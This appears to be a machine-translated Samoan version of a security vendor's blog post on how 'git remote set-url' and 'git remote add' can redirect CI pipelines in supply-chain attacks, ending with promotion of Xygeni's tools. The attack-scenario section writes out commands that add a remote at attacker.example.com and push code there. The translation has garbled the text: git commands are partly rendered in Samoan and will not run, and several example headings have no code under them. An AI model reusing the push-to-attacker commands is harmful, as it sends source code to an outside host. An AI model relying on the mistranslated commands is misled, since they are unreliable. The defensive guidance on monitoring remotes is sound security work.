git remote set-url - git seti url mo le mamao - git faaopoopo le mamao

A avea le Git remote set-url ma se lamatiaga o le Supply Chain

O le Lamatiaga Natia i Tua Atu o se Poloaiga Faigofie a le Git

Mo le tele o tagata atiaʻe, o le faʻatinoina o se poloaiga e pei o le git remote set-url origin E foliga mai o se mea masani, o se isi laasaga i le tausia o le faatulagaga o le Git. E masani foi ona faatinoina e tusitusiga CI poloaiga e pei o le git remote set-url, Git set url for remote, po o le Git remote add e fetch pe tulei le code i le taimi o fausiaina. Ae o le tulaga lamatia lenei: afai e faʻalavelave se tagata osofaʻi i lena faʻatulagaga (i le lotoifale poʻo le CI), e mafai ona latou toe faʻasino lau punaoa i se nofoaga e teu ai faʻamaumauga leaga, faʻalavelave i faʻamaoniga, pe faʻaofiina ni polokalama leaga i le sapalai o sapalai.

O se faʻataʻitaʻiga o le auala e masani ona faʻaaogaina ai:

# Fa'aaogāga fa'atulafonoina

git remote set-url origin https://github.com/org/project.git

⚠️ Fa'ata'ita'iga e le saogalemu, mo na'o fa'amoemoega fa'alea'oa'oga. Aua le fa'aaogaina i le gaosiga.

Puipui le lomiga, pine, ma fa'amaonia le amataga o le teuina o fa'amaumauga

Aiseā? Afai e sui le remote i se host e pulea e le osofaʻiga, o git fetch/git push uma e sosoo ai e faasino i le code leaga. E faʻatuatuaina e le hardcode amataga pe a mafai ma aloese mai URL faʻaonaponei e leʻi faʻamaoniaina.

E Fa'afefea ona Fa'aleagaina e le Fa'agaioiga Mamao le Fausiaina Pipeline

O se URL mamao Git ua suia e mafai ona i ai ni taunuuga matuia i le fa'aogaina otometi. pipelineo mea ia e fa'atuatuaina fa'alilolilo ai tusitusiga.

Fa'ata'ita'iga fa'atusa:

  • E faʻaaogaina e le tusitusiga CI le git remote set-url e toe faʻatulaga ai fale teu oloa i se auala faʻaonaponei.
  • O se fesuia'iga o le siosiomaga ua fa'aleagaina (e pei o le token po'o le repo URL) ua tuiina i totonu o le tusitusiga.
  • O le fausiaina e aumaia pe tuleia le code i se repo leaga.
  • E fa'aopoopo e le tagata osofa'i ni backdoors po'o ni fa'alagolago ua fa'aleagaina.

⚠️ Fa'ata'ita'iga e le saogalemu, mo na'o fa'amoemoega fa'alea'oa'oga. Aua le fa'aaogaina i le gaosiga.

Lomiga saogalemu, fa'amaonia le $REPO_URL a'o le'i fa'aogaina (lisi pa'epa'e / fa'amaoniga xygeni).

Aisea: Fa'amaonia URL o repo o lo'o ulufale mai e fa'asaga i se lisi pa'epa'e ua tausia (pe fa'aaoga xygeni verify --git-origin) a'o le'i faia se gaioiga i ai. O lenei mea e taofia ai tagata osofa'i mai le fa'aaogaina o fesuia'iga o le siosiomaga e toe fa'asino i ai pipelines.

Iloa o Suiga e Le'i Fa'atagaina i le Fa'atulagaga Mamao

E lē logoina oe e le Git pe a suia se mea mamao. Mata'ituina lelei o .git/config ma e manaʻomia foʻi le siakiina o le lelei o le fausiaina aʻo leʻi faia.

Metotia Fa'atino mo le Sailiga

  • Siaki le fa'atulagaga o le Git:

     
    git remote -v

    Faatusatusa le taunuuga i URL e faʻamoemoeina o loʻo teuina i se laina faʻavae saogalemu.

  • faamaonia .git/config fa'amaoni:

     
    sha256sum .git/config

    Faatusatusa le checksum i se laina fa'avae e fa'atuatuaina.

  • Fa'amaoniga fa'avae i luga o le CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

Fa'amatalaga fa'alea'oa'oga: Aua le fa'atinoina ni siaki fa'amaoni po'o ni fa'atonuga fa'amaonia ma ni fa'amaoniga ua leva ona tumau o lo'o fa'aalia i totonu o ogalaau po'o ni siosiomaga e le'i puipuia. Fa'aaoga fa'amaoniga pupuu, mea lilo ua teuina, ma 'alo'ese mai le fa'atinoina o ni fa'atonuga fa'amaonia o se tagata fa'aoga fa'apitoa pe a mafai.

Su'esu'ega Fautuaga: Vaavaai mo ni remotes o loʻo faʻasino i domains e le o ni canonical (e leʻi mafaufauina .net, .io, tuatusi IP), igoa mamao tutusa, po'o fesuia'iga o le siosiomaga e pulea ai URL o repo e aunoa ma le fa'amaoniga. O le vave iloa e taofia ai git set-url fa'asa'oina mai mea fa'aleagaina.

Fa'amautuina o Amataga o le Faleoloa ma Guardrails ma le Fa'amaoniga o le Hash

O le puipuiga o lona uiga o le faʻamalosia o ni puleaga faigata i luga o fale teu oloa e te fausia mai ai. Guardrails e aofia ai le saini, fa'amaoniga o le hash, ma le fa'atapula'aina po'o ai e mafai ona suia fesuia'iga CI.

Faiga Saogalemu mo le Fa'amaoni o le Faleteuoloa

Fa'amau URL o le fale teu oloa, fa'amaumauga fa'atuatuaina o le hardcode pe a mafai:

Fa'amaonia hashes o le fale teu oloa:

Fa'amaonia pe fetaui le HEAD ma se hash e fa'amoemoeina a'o le'i fausia.

⚠️ Fa'ata'ita'iga le saogalemu, lolomiina o faʻailoga i totonu o ogalaau (aua le faʻaaogaina i le gaosiga).

Lomiga saogalemu, faitau mea lilo mai le fale teuoloa, ma aua lava ne'i lolomiina

Lisi Siaki La'ititi: Pulega Saogalemu o le Git Mamao

  • faʻataunuʻu lisi pa'epa'e URL mamao po'o le fa'amaoniga.
  • Fa'amaonia le .git/config integrity a'o le'i fausia.
  • Mana'omia le sainia commits ma pine.
  • Fa'atapula'a po'o ai e mafai ona suia fesuia'iga o le siosiomaga CI.
  • Fa'amaumauga o fa'atinoga o le git remote set-url ma le git remote add mo le su'esu'ega.

Fa'apipi'iina o le Git Remote Set URL Validation i totonu CI/CD Pipelines

Faaopoopo guardrails ma le faʻamaoniga otometi e taofi ai le faʻagaoioiga mamao i le amataga pipeline.

Faataitaiga o le pa puipui: siaki mo ni mamao e faaluaina pe le faatagaina

Fa'amalosi e Fa'asaga i le Fa'alavelaveina o le Sapalai o Sapalai i Siosiomaga Fa'asoa

E maualuga le lamatiaga o fa'atonuga fa'asoa ma fa'atonuga fa'atagaina mamao. Alo'ese mai fa'atonuga e fa'aopoopo ai mamao e le'i siakiina i le taimi e fa'atino ai le galuega.

⚠️ Fa'ata'ita'iga e le saogalemu, fa'aopoopoina o se mamao a le tagata osofa'i (aua le fa'aaogaina).

Lomiga saogalemu, fa'atapula'a i vaega ua fa'amaonia ma fa'aaoga le –set-url mo na'o amataga ua fa'amaonia

Manatua: ia sili atu le fiafia i masini e le tumau ma aloese mai le fa'asoa soo o fa'amaumauga i le va o galuega.

Fa'amatalaga i luga o ē tamoe: Faaaoga ni ē tamoe e le tumau, e vavae'ese ma toe faia mo galuega ta'itasi. E mafai e tisiki po'o cache fa'asoa ona fa'atumauina faila ua fa'aleagaina i totonu o fausaga.

Fa'apipi'iina o le Git set URL mo le Remote Validation i totonu CI/CD Pipelines

O le fa'amautuina o le fa'aaogaina o le git remote set-url e le na'o le siakiina e ala i le lima; ae e fa'atatau i le otometi. E mafai e faiga fa'aonaponei a le DevSecOps ona tu'ufa'atasia sa'o le fa'amaoniga i totonu CI/CD pipelines.

Faʻataʻitaʻiga: Faʻamaoniga o le Faʻamaoni Mamao Faʻaautomatika

O lenei fa'atulagaga e fa'amautinoa ai a'o le'i fa'agaoioia so'o se fausiaina po'o se fa'alauiloaina, o le pipeline fa'amaonia:

  • E fetaui le URL o le nofoaga teu oloa ma le tau e faʻamoemoeina.
  • Commit e aoga saini.
  • E leai ni remotes e le'i fa'amoemoeina na fa'aopoopoina e fa'aaoga ai le git add remote.

Pulea Fa'aopoopo CI

  • Pre-commit hooks: Siaki e leai se mea e le'i fa'atagaina seti-url mamao o le git o lo'o iai poloaiga i totonu commits.
  • Fa'amalosia o le faiga fa'avae e pei o se tulafono fa'atonutonu: Fa'amatala amataga fa'atagaina o se vaega o faiga fa'avae e pulea e le fa'aliliuga.
  • Fa'ata'ita'iga o le fa'alagolago: Aveese le code mai fa'ata i totonu ua fa'amaonia nai lo punaoa tuusa'o i le initaneti.

Fa'aautomatika nei siaki e lē gata ina puipuia ai fa'atulagaga sese ae iloa ai fo'i taumafaiga e fa'alavelave i le sapalai o sapalai a'o le'i lafoina atu le code.

Fa'amalosi e Fa'asaga i le Fa'alavelaveina o le Sapalai o Sapalai i Siosiomaga Fa'asoa

O fa'asologa o ta'avale fa'asoa po'o siosiomaga CI ephemeral e fa'aopoopoina ai ni lamatiaga fa'aopoopo. A fa'asoa e le tele o fausiaina ni punaoa, e mafai ona fa'aaogaina poloaiga git remote set-url po'o le git add remote e fa'aauau ai pea mamao leaga i totonu o sauniga.

Tulaga masani o osofaiga

O se tusitusiga fausiaina ua faaleagaina e faaopoopo ai se mamao fou e tulei ai le code i le fale teu oloa a le tagata osofaia:

git fa'aopoopo le faaleoleo mamao https://attacker.example.com/repo.git

git push backup autu

  • O le isi galuega faatino o loʻo faʻagaoioia i luga o le sui CI lava lea e tasi e aumai mai lenei tulaga ua pisia.
  • E mafai ona tafe atu faʻamatalaga maaleale e pei o faʻailoga poʻo mea taua o le fausiaina e ala i faʻasalalauga e leʻi faʻatagaina.

Fuafuaga Fa'ama'a'a

  • Tagata Taufetuli Fa'afuase'i: Toe setiina siosiomaga CI pe a uma ona fausia taʻitasi.
  • Fa'amavaega feso'ota'iga: Fa'atapula'a feoa'iga i fafo i 'upega tafa'ilagi ua fa'amaonia.
  • Avanoa Maualalo: Fa'atapula'a fa'atagaga mo fa'agaioiga a le Git i totonu pipelines.
  • Saini o Mea Fa'aonaponei: Ia mautinoa o galuega uma o le fausiaina ua sainia ma fa'amaonia i le fa'ailoga faalilolilo.

I le tu'ufa'atasia o le vavae'eseina, fa'amaoniga, ma le mata'ituina, e mafai e 'au ona fa'aleaogaina osofa'iga e fa'aaogaina le git set url mo le fa'atonutonuina mamao.

Fa'amaonia, Mata'ituina, ma Fa'aautomatika le Fa'atuatuaga o le Faleoloa

O le tasi le git remote set-url e fa'aaogaina sese pe le'i fa'amaoniaina le git add remote e mafai ona toe fa'asinoina ma le filemu lau fa'agasologa atoa o le fausiaina i se nofoaga e pulea e le osofa'iga. O le laina i le va o le gaosiga ma le fa'aletonu i le DevOps e manifinifi nai lo se isi lava taimi, ma osofa'iga o le sapalai o polokalama faakomepiuta fa'aaoga tonu lava lena mea.

Ina ia faatumauina le faatuatuaga i lau pipelines:

Faiga faʻavae pei Xygeni fesoasoani i 'au a le DevSecOps e iloa ai fa'atulagaga sese mamao, mata'ituina tuaoi o le fa'atuatuaga o fale teu oloa, ma poloka lamatiaga o le sapalai e mafua mai i le fa'aaoga sese o le Git, a'o le'i maua e le 'au mamao leaga le avanoa e fa'atino ai le code.

Fa'atuatua i lau faiga o galuega, ae fa'amaonia lau punaoa. O le auala lea e te taofia ai le git remote set-url mai le avea ma au isi soliga saogalemu.

meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite